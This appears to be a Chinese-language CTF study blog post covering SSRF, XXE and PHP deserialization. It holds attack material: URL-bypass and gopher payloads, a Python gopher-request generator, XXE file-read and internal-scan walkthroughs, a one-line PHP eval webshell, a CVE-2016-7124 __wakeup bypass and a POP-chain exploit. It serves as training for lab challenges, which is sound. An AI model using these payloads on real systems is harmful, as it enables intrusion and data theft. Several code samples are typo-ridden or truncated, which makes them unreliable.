CTF-WEB_ctf代码

典型的SSRF触发代码,curl_exec函数会在代码里面封装为一个函数
前端传进来的url被后台使用curl_exec函数进行了请求,然后又将结果返回给前端
参数 --version 可用于查看curl支持的其他协议:如 FTP、FTPS、HTTP、TELENT、DICT等

?>



> 
> [IP查询 - 查IP(www.cip.cc)]( )")
> 
> 
> 该网站用于查询当前的出口IP,在百度翻译界面查询该网站会显示百度翻译服务器的IP地址——百度翻译
> 
> 
> 可现在上述网址查询目标IP,然后将此页面的URL复制到百度翻译,就可以查询该IP的真实IP,或者出口IP
> 
> 
> 


#### URL跳转


在别人的网站跳转到目标的恶意网站去,可以校验跳转的URL的域名头,不是当前资产的域名头就不允许跳转


@绕过——@到一个域名,不能是文件



https://blog.csdn.net/?url=http://blog.xxx@baidu.com

@绕过的话————此链接就会自己跳转到百度的网站上


URL支持很多的协议:可以使用file协议读取本地的根目录、http/https协议访问一些别的资源、使用FTP协议访问一些资源等——最常用的是file协议



https://blog.csdn.net/?url=file:///etc/password



> 
> **[/etc/passwd 文件]( )**
> 
> 
> 
> 系统用户配置文件,存储了系统中所有用户的基本信息,并且**所有用户**都可以对此文件执行读操作。
> 
> 
> 文件每一行代表着一个用户的信息,格式如下
> 
> 
> 用户名:密码:UID(用户ID):GID(组ID):描述性信息:主目录:默认Shell
> 
> 
> 
> 1、x  代表该用户有密码
> 
> 
> 密码存储在 /etc/shadow 文件中,此文件只有 root 用户可以浏览和操作,这样就最大限度地保证了密码的安全
> 
> 
> “x” 不能删除,如果删除了 “x”,那么系统会认为这个用户没有密码,从而导致只输入用户名而不用输入密码就可以登陆
> 
> 
> 



root❌0:0:root:/root:/bin/bash
xaiowang❌1:1:daemon:/usr/sbin:/usr/sbin/nologin
lihua❌2:2:bin:/bin:/usr/sbin/nologin

wangmei❌1000:1000:ubuntu-18.04.1,:/home/skx:/bin/bash
lilei❌1001:1001:,:/home/lilei:/bin/bash


#### [parse\_url()函数]( )函数")


parse\_url()函数:把URL按协议,POST头(www.baidu.com),路径,查询目标等进行解析——只需要校验host头即可


使用XXX@www.baidu.com绕过,就会有一个新的传参user,其值为XXX


换成file协议parse\_url()函数也可以解析



<?php //I stored flag.txt at baidu.com show_source(__FILE__); if(isset($_GET['url'])); $url=parse_url($_GET['URL']); if(!url){ die('can not parse url:'.$_GET['url']); } if(substr($_GET['url'],strlen('http://').strlen(baidu.com))==='baidu.com'){ die('hi,papi,you must pass this!']); } if($url['host']==='baidu,com'){ $ch=curl_init(); curl_setopt($ch,CURLOPT_URL,$GET['url']); curl_exec($ch); curl_close($ch); }else{ die('save it,hacker'); } } ``` 白盒审计,碰到如下代码,可以做任意文件读取,也可以访问账号密码 ``` <?php echo file_get_contents($GET_[W]); ``` > > **GET传参和POST传参的对象可能会存在不同** > > > 一般情况下,传参都是传给当前网页,但如果当前网页是重定向的话,重定向的URL本身就是原URL的传参,如果想要文件的读取权限,只能GET传参跟在URL的后面,不能使用POST传参,POST传参是传给原来的URL > > > > **如果非要POST传参,可以使用gopher协议** > > > > gopher协议:用于信息查找,可以传递信息给内网,但传递的信息要进行URL编码——空格(%20),换行(%0D),冒号,//,都需要编码 > > > 可以直接通过?url=gopher://抓包后的访问目标网站数据包的URL编码(传参类型参考原来需要的参数) > > > > **在gopher协议下要注意content\_length——它的长度要传参内容的长度保持一致** > > > eg:gopher://目标ip:80\_POST%20/security/flag.php…… > > > #### **python脚本化gopher协议** 自动对目标网站传参然后url编码返回,使用的时候在cmd启动python 3.7.2,然后转到脚本所在的目录下(最好放在桌面上,比较好找一些),直接输入脚本名称启动脚本等待返回值即可 > > 实际可以在浏览器传参,burp抓包,然后去掉不重要的内容,合为一行,进行url编码,前面加gopher://196.164.32.4\_ 即可 > > > ``` import urllib import requests test =\ """POST /security/flag.php HTTP/1,1 Host:192.164.32.4 Content-Type:application/x-www-form-urlencoded w=flag.php """ tmp=urllib.parse.quote(test) //url编码 new=tmp.replace('0A','%0D%0A') //换行替换 result='gopher://192.164.32.4_'+new //使用的时候换IP即可 print(result) ``` > > [BUUCTF在线评测——SSRF]( ) > > > 先查SSRF存在与否,然后file协议,消除cookie,注册一个,然后load url,sql注入,反序列化得到flag所在的路径[[网鼎杯 2018]Fakebook(思路详细有说明)\_lazy1310的博客-CSDN博客]( )_lazy1310的博客-CSDN博客") > > > [ctf-wscan 为ctf而生的web扫描器\_ctf-wscan.py/-CSDN博客]( ) > > **清除cookie可以退出当前的登录状态** > > > ### XXE漏洞 [一篇文章带你深入理解漏洞之 XXE 漏洞 - 先知社区]( ) [pikachu之XXE\_pikachu xxe-CSDN博客]( ) XXE(XML External Entity Injection) XML外部实体注入,XML是一种类似于HTML(超文本标记语言)的可扩展标记语言,是用于标记电子文件使其具有结构性的标记语言,可以用来标记数据、定义数据类型,是一种允许用户对自己的标记语言进行定义的源语言。XML文档结构包括XML声明、DTD文档类型定义(可选)、文档元素**(冷门漏洞,但高危)** ![](https://img-blog.csdnimg.cn/6d8a5d4493f146908c0f5d477a9a6384.png) 当使用XML进行信息传输的时候,可能就会发生XXE漏洞攻击[WEB漏洞 XXE原理&实践 - FreeBuf网络安全行业门户]( ) xxe漏洞支持file、http、php://filter 等协议,file协议支持任意文件读取(但是需要注意的是,XML文本中如果它的标签是定死的,就必须按这个给出的标签来,也就是说要根据源码指定最后输出的文件名确定标签里面是什么内容,如果读取失败的话,也有可能是没有加根标签) [XXE Dos攻击和RCE攻击说明-CSDN博客]( ) [致远OA从前台XXE到RCE漏洞分析 - 知乎]( ) [从XXE到RCE的完美利用:利用不安全的 XML 和 ZIP 文件解析器创建 WebShell]( ) [xxe漏洞学习\_xxe漏洞结合expect组件-CSDN博客]( ) expect组件初次使用需要安装,[Linux系统 PHP安装expect扩展详解\_expect命令安装-CSDN博客]( ) expect协议不支持在,命令中有空格,如果有的话要使用$IFS代替——很少有服务器既存在xxe漏洞,又安装了expect扩展——因为这个扩展默认是不安装的 ``` <?php eval ($_POST[w]);?>

[超级详细的 FinalShell 安装 及使用教程\_-CSDN博客]( )(网站服务器+xshell)




---


#### **题目一**


[BUUCTF在线评测]( )


![](https://img-blog.csdnimg.cn/direct/44554298488945c0a7ac435c2b906c44.png)



启动第一个靶机,常规遇到登录框,先用弱口令试一下


![](https://img-blog.csdnimg.cn/direct/153505790a8643a9be2219bf58220c76.png)


不行再抓包看一下, 显然和之前的数据包是不一样的,多了些XML标签


![](https://img-blog.csdnimg.cn/direct/0abcf931d7d848db8ef543e31eda4f54.png)


构造payload如下:(一般来说这个很冷门)



<?xml version="1.0"?>

]>

&xxe;1
#调用xxe实体,执行后面的命令————读取/etc/passwd文件


xxe还可以进行内网信息收集,如探索存活主机、查看路由等


本题的flag就在根目录下面,查看的时候,使用xxe实体,里面定义读取文件:filter:///flag文件即可得到flag


#### **题目二**


第二个界面和上一个一样,抓包放到repeater里面,file读passwd文件可以,但是没什么信息


![](https://img-blog.csdnimg.cn/direct/bd8a8d60309e41f6932e7426fe25a4a3.png)


加xml代码模板,读取当前页面,然后base64解码



<?xml version="1.0" encoding="ISO-8859-1"?>

]>
&admin;1234


![](https://img-blog.csdnimg.cn/direct/44b101b83a974f4e99f9695d770d3bc8.png)


md5解码如下,但是登不进去admin


![](https://img-blog.csdnimg.cn/direct/1e56ee3da1834d959c647658355d34c4.png)


然后读内网IP,也没什么用



<?xml version="1.0" encoding="ISO-8859-1"?>

]>
&admin;1234


读apr文件,如下有个IP地址


![](https://img-blog.csdnimg.cn/direct/865a6120590647d89af94ec7fa2acddd.png)


然后利用HTTP协议请求一下,可以看到无回显,说明该IP没有web服务


![](https://img-blog.csdnimg.cn/direct/e958a630e7624e1fb1fd9a95a57c6451.png)


再次查询arp文件,发现又有另一个IP,试一下这个IP,可以看到还是没有回显


![](https://img-blog.csdnimg.cn/direct/4f96b6b09dcc4a21816b1caad0a72199.png)


放到intruder里面爆破,选择12为爆破点爆破C段,查询存活主机,然后payloads选择numbers,从1~255,步长为1


![](https://img-blog.csdnimg.cn/direct/7054c0f364c444bba408d02a0afd1bf8.png)


理论上就能爆破出来哪个C段是对的,访问该ip 就能得到正确的flag



### 反序列化pop链条


[析构方法\_\_destruct()在类的对象销毁的时候自动解析或者执行]( )在类的对象销毁的时候自动解析或者执行")


[PHP执行系统命令函数实例讲解\_php实例\_脚本之家]( )


[PHP中 \_\_toString()方法详解-php教程-PHP中文网]( )方法详解-php教程-PHP中文网")


#### 类的一些魔术的方法



<?php class CMDClass { public $cmd=""; //默认cmd为空,也就是不输入任何的数据 function __wakeup() //魔术方法,在键入之后匹配内容有无ip,在windows系统上屏蔽输入ipconfig //反序列化函数执行之后,如果有这个函数的话,就会优先执行这个方法里面的函数或者方法 { if(strpos($this->cmd 'ip') !== flase) $this->cmd="echo 非法输入"; } function __destruct() //析构方法,在类的对象销毁之后执行,也就是说这个方法是最后一个执行的 { passthru($this->cmd,$result); } function __toString() //魔术方法,在类中接收到的对象被当做字符串的时候执行下一句看返回什么 { return ""; } } $a=unserialize($POST['xxx']); //反序列化函数 echo $a; //post传参接收一个输入,然后首先执行wakeup方法,没有敏感字符之后再执行toString方法 //此时对象被当做一个字符串执行,执行后释放内存,此对象被销毁之后再执行destruct方法返回结果 ``` **[\_\_wakeup()魔术方法绕过(CVE-2016-7124)]( )魔术方法绕过(CVE-2016-7124)")** > > wakeup函数是在反序列化函数之后查找,如果有这个方法,就会优先执行这个方法下面的内容,如果没有这个的话,大概率会出问题,报错或者什么的 > > > 绕过的话,首先要知道它的源码,把源码放到菜鸟工具 ``` <?php class CMDClass { public $cmd="ipconfig"; //输入敏感字符 } $a=new CMDClass; echo serialize($a); //得到序列化的结果 ``` ![](https://img-blog.csdnimg.cn/direct/eeac2518472e49178d7d3b144de696c5.png) ``` O:8:"CMDClass":1:{s:3:"cmd";s:8:"ipconfig";} 绕过的话,只需要把类的个数该得比它原本的个数大即可 ``` 然后浏览源码所在的页面,打开hackbar,下载url,然后post传参 ``` a=O:8:"CMDClass":1000:{s:3:"cmd";s:8:"ipconfig";} ``` > > 但是需要注意的是:此时的php的版本有要求——PHP5<5.6.25,PHP7<7.0.10 > > > #### php的类中变量的三种声明 变量是类的数据成员,它们用于存储类中所需的数据。变量可以是私有的,只能在类定义中访问;也可以是公共的,可以被类的方法和外部代码访问 在PHP中,当声明类变量时,您可以指定变量的访问级别。PHP支持三种访问级别: * public:可以被类的方法和外部代码访问 * protected:只能被类的方法和其子类访问 * private:只能在类定义中访问 把cmd的输入分别改为这三种类型的话,序列化之后的结果的变化: **1、变量为pubulic时序列化的运行结果** ![](https://img-blog.csdnimg.cn/direct/eeac2518472e49178d7d3b144de696c5.png) **公开属性的只会显示类的属性** **2、将变量改为private之后的运行结果** ![](https://img-blog.csdnimg.cn/direct/9809648e506641baad27fe3c2f0769ed.png) **私有的会显示类名加属性** 此时s之后的数字变为了13,可以看到他之后的所有的字符串就是13个,未显示的字符是%00,属于具有截断含义的不可见字符串,此时显示的字符其实是浏览器渲染的结果 **直接复制过去,然后把类的个数改大一点就可以直接绕过了** > > **但是此时浏览器渲染的%00可以直接手动换为具体的字符串,或者在菜鸟工具里面把最后一行加个urlencode()函数编码,直接编码为url,避免在序列化内容过多的时候手动该%00过于麻烦,但是此时就需要在一堆编码里面准确的找到类的个数是哪个,一般来说类的个数处于两个冒号之间,冒号的url编码是%3A,所以找到偏前面一点的,在两个%3A之间的数字改大一点就可以了** > > > 具体结果如下所示: ![](https://img-blog.csdnimg.cn/direct/9821e4ff54fc4f59bf1549c87b21ed99.png) **3、将变量改为protected之后的序列化结果** ![](https://img-blog.csdnimg.cn/direct/762288eced0d4f609bcd1c8909e4b4e2.png) 此时它也有%00,但是此时也是只有类的属性名字,没有具体的类名,也可以使用你lencode函数来编码之后再更改类的个数 [BUUCTF [web专项16][极客大挑战 2019]PHP\_buuctfmore fast-CSDN博客]( ) 首先进入靶场之后,此页面下面可以先访问一下主页index.php 然后扫目录看一下,就会扫出来www.zip,浏览此页面,就会自动下载目标页面的源码包,然后打开此源码包,会发现有很多前端代码,但主要在于php文件里面(里面会有一个假flag) 主要就是class.php文件的审计代码,得到用户名必须为admin, 密码必须为100才会打印flag,但是类里面的wakeup方法不能执行,执行之后就会置为guest index页面包含class页面,里面友谊个GET春蚕的反序列化点,所以可以使用序列化绕过wawkeup方法,然后打印flag ``` <?php class Name{ private $username = 'nonono'; private $password = 'yesyes'; public function __construct($username,$password){ $this->username = $username; $this->password = $password; } } //之前类里面的所有的方法都删掉,其余的东西不变 //然后在后面再构造一个新的类,这个类使用的就是最新的可以通过的账号密码 $a = new Name('admin',100); $b = serialize($a); echo $b; ``` 由于账号密码是私有变量,但是在网页查看源代码的时候会发现有序列化的结果,使用编码函数urlencode()带出序列化的结果之后,把两个%3A之间的数字改为比原来大的数字之后,就会自动打印flag了 #### pop链条 [PHP反序列化&POP链构造&魔术方法流程&漏洞触发条件&属性修改\_魔术方法与反序列化pop链]( ) 一般来说,在类的方法里面不会出现系统执行命令执行一些不确定的参数或者输入 触发flag或者rce的方法都是在魔术方法里面 pop链就是从现有运行环境中寻找一系列的代码或者指令调用,然后根据需求构成一组连续的调用链,最终达到攻击的目的 [php中魔术方法详解\_php魔术方法的讲解与使用-CSDN博客]( ) [php有哪些魔术方法\_php魔术方法有哪些-PHP问题-PHP中文网]( ) **[构造pop链举例]( )** ``` <?php #pop链 class start_gg { public $mod1; public $mod2; public function __destruct() { $this->mod1->test1(); } } class Call { public $mod1; public $mod2; public function test1() { $this->mod1->test2(); } } class funct { public $mod1; public $mod2; public function __call($test2,$arr) { $s1 = $this->mod1; $s1(); } } class func { public $mod1; public $mod2; public function __invoke() { $this->mod2 = "str-str".$this->mod1; } } class string1 { public $str1; public $str2; public function __toString() { $this->str1->get_flag(); return "1"; } } class GetFlag { public function get_flag() { echo sprintf("flag{%s}","P0p_S2EreaWqfFFwiOk1mttT"); } } $a = $_GET['string']; unserialize($a); highlight_file("./index.php"); ?>

PHP魔术方法总览

__construct() 当创建对象时触发,一般用于初始化对象,对变量赋初值
__sleep() 使用serialize()时自动触发 
__wakeup() 使用unserialize()时自动触发
__destruct() 当一个对象被销毁时触发
__toString() 当一个类被当成字符串使用时触发
__invoke() 当尝试以调用函数的方式调用一个对象时触发
__call() 在对象上下文中调用不可访问的方法时触发 
__callStatic() 在静态上下文中调用不可访问的方法时触发 
__get() 用于从不可访问的属性读取数据
__set() 用于将数据写入不可访问的属性
__isset() 在不可访问的属性上调用isset()或empty()触发
__unset() 在不可访问的属性上使用unset()时触发

构造链就是先找到能自动执行的魔术方法,然后一环套一环,把上一个类的属性变为下一个将要执行的类的对象,以此类推,然后最终执行到希望的函数,以上述的代码为例,就是要执行到get\_flag函数为止



> 
> ##### **把一个类的属性作为另一个类的对象传输过去**
> 
> 
> **第一种构造EXP的方法**
> 
> 
> 
> ```
> //首先定义新的类 start_gg,然后让这个类里面的对象mod1为下一个类的对象
> $a=new start_gg();
> $a->mod1=new Call();
> $a->mod1->mod1=new funct();
> $a->mod1->mod1->mod1=new func();
> $a->mod1->mod1->mod1->mod1=new string1();
> $a->mod1->mod1->mod1->mod1->mod1=new get_flag();
> echo serialize($a);
> 
> ```
> 
> 执行到最后就可以使用rce任意函数执行
> 
> 
> **第二种构造EXP的方法**
> 
> 
> 
> ```
> <?php  #pop链
> class start_gg
> {
>     public $mod1;  //类的变量在定义的时候是不能直接赋值的   
>     public $mod2;
>     public function __construct()   //构造函数,逐步调用
>     {
>         $this->mod1=new Call();
>     }
> }
> class Call
> {
>     public $mod1;
>     public $mod2;
>     public function test1()
>     {
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值